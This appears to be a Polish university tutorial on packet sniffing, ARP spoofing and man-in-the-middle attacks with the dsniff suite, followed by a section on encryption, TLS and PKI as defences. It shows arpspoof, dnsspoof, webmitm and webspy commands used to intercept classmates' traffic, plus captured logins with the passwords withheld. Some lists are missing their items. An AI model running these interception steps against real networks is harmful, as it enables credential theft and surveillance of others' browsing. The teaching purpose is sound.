Jak wygląda transmisja między komputerami? Zależy od sposobu ich połączenia. Droga pakietu od komputera A do komputera B może wyglądać na jeden z poniższych dwóch sposobów.
Jak widać, mogą do nas docierać pakiety nie przeznaczone dla nas. Na tym opiera sie podsłuchiwanie ruchu sieciowego. Narzędzia do podsłuchiwania ruchu sieciowego (packet sniffers) przechwytują pakiety i dokonują ich analizy w celu wyciągnięcia interesujących nas informacji (loginów, haseł, ...).
ARP to protokół komunikacyjny przekształcania adresów IP na fizyczne adresy MAC.
Zasada działania
# arp Address HWtype HWaddress Flags Mask Iface 10-6-254-254.int.sds.uw ether 00:30:48:84:5E:E6 C eth0 # cat /proc/net/arp IP address HW type Flags HW address Mask Device 10.6.254.254 0x1 0x2 00:30:48:84:5E:E6 * eth0
Jak wykorzystać ARP do podsłuchiwania / przechwytywania ruchu w sieci utworzonej za pośrednictwem switcha? Chcemy przechwytywać pakiety dla komputera o adresie 192.168.1.1.
Atak taki jest możliwy przy dynamicznych tablic ARP.
Kilka podstawowych praktyk:
Wykrywanie sniffingu jest niemal niemożliwe. Wiele metod (oczywiście żadna nie jest skuteczna w 100%) opiera się albo na wykrywaniu zbyt wielu sprawdzeń DNS lub wielu wysyłanych zapytań ARP.
Do góryDsniff to kolekcja narzędzi:
# dsniff dsniff: listening on eth0 ----------------- 01/08/07 23:42:41 tcp 10-6-241-229.int.sds.uw.edu.pl.2017 -> students.mimuw.edu.pl (ftp) USER lk219518 PASS (nie moge pokazac) ----------------- 01/08/07 23:55:19 tcp 10-6-241-229.int.sds.uw.edu.pl.1998 -> www.poczta.fm.110 (pop) USER lukasz_krupa PASS (nie moge pokazac)
# arpspoof 10.6.254.254
Od tego momentu wszystkim kolegom przestaje działać internet.
# fragrouter -B1
Kernel przekierowuje wszystkie pakiety, które docierają do nas. Wszystko zaczyna działać normalnie.
Spowodujemy, że koledzy z sieci będą mieć internet za pośrednictwem naszego komputera.
# arpspoof 10.6.254.254
# dnsspoof
# webmitm -d
Możemy widzieć w swojej przeglądarce, jakie strony odwiedzają znajomi w sieci. Jedyna przeglądarka, z którą współpracują nasze narzędzia to Netscape.
# netscape
W tym przypadku załóżmy, że sieć stworzona jest za pomocą huba. Kolegi IP to 10.6.242.253
# webspy 10.6.242.253
Każda strona, którą otworzy nasz kolega otwiera się również na naszej przeglądarce!!! Przy uruchomieniu takiego podsłuchiwania przy stanie systemu jak w poprzednim punkcie, zaobserwować można, że kolega łączy się z naszym IP przy każdej próbie otwarcia strony, co udowadnia nam, że działa dnsspoof.
W celu zabezpieczenia przed podsłuchiwaniem stosuje się szyfrowanie.
Szyfrowanie symetryczne - kodowanie i dekodowanie za pomocą tego samego klucza.
Szyfrowanie asymetryczne cechuje się występowaniem dwóch rodzajów kluczy - klucz publiczny i klucz prywatny. Szyfrowanie wykonuje się za pomocą klucza publicznego, a deszyfrowanie za pomocą klucza prywatnego. Szyfry asymetryczne projektuje się tak, żeby uzyskanie klucza prywatnego było jak najbardziej skomplikowane obliczeniowo.
TLS (dawniej SSL) pozwala aplikacjom typu klient/serwer komunikować się w bezpieczny sposób. Często tylko tylko serwer jest uwierzytelniony, podczas gdy klient pozostaje nieuwierzytelniony. Następny poziom zabezpieczenia to uwierzytelnianie obu stron.
Algorytm nawiązywania połączenia szyfrowanego:
Implementacje - OpenSSL, NNS, GnuTLS. W Delphi - biblioteka Indy. Obsługiwane protokoły to SSL 2, SSL 3 i TLS 1.
Zastosowanie do zabezpieczania protokołów, np. telnet, HTTP, gopher, POP3.
Infrastruktura Klucza Publicznego. Szeroko pojęty kryptosystem, w skład którego wchodzą urzędy certyfikacyjne, urzędy rejestracyjne, subskrybenci certyfikatów (użytkownicy), oprogramowanie, sprzęt.
Podstawowe funkcje:
W SSL 1.0 - poważna dziura w bezpieczeństwie biorąca się z niezweryfikowanej procedury uzgadniania szyfru - możliwość manipulowania uzgadnianiem. Obecnie SSL 1 nie obsługiwane przez popularne biblioteki.
W RSA - popularnym systemie szyfrowania asymetrycznego - konieczność tworzenia długich kluczy. Obecnie nie ma problemu ze złamaniem klucza do długości ok. 500 bitów. Stosowane klucze o długości 1024-2048 bitów.
Monkey-in-the-middle.
Pokazane w przykładach zastosowania pakietu dsniff. Zaprezentowany program webmitm, kiedy nasz komputer staje się pośrednikiem, przekazuje klientowi swój certyfikat. Nieostrożny klient może ten certyfikat zaakceptować. Analogicznie dla protokołu SSH jest program sshmitm z pakietu dsniff. Można się uchronić poprzez sprawdzanie certyfikatu, kiedy przeglądarka zgłasza zagrożenie.
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ @ WARNING: REMOTE HOST IDENTIFICATION HAS CHANGED! @ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@Do góry
http://www.surasoft.com/articles/packetsniffing.php http://www.monkey.org/~dugsong/dsniff/ http://en.wikipedia.org/wiki/Transport_Layer_Security http://www.andrew.cmu.edu/user/jwetzler/tls.htm http://www.hackinglinuxexposed.com/articles/20020430.html (ciekawy artykulik!!)Do góry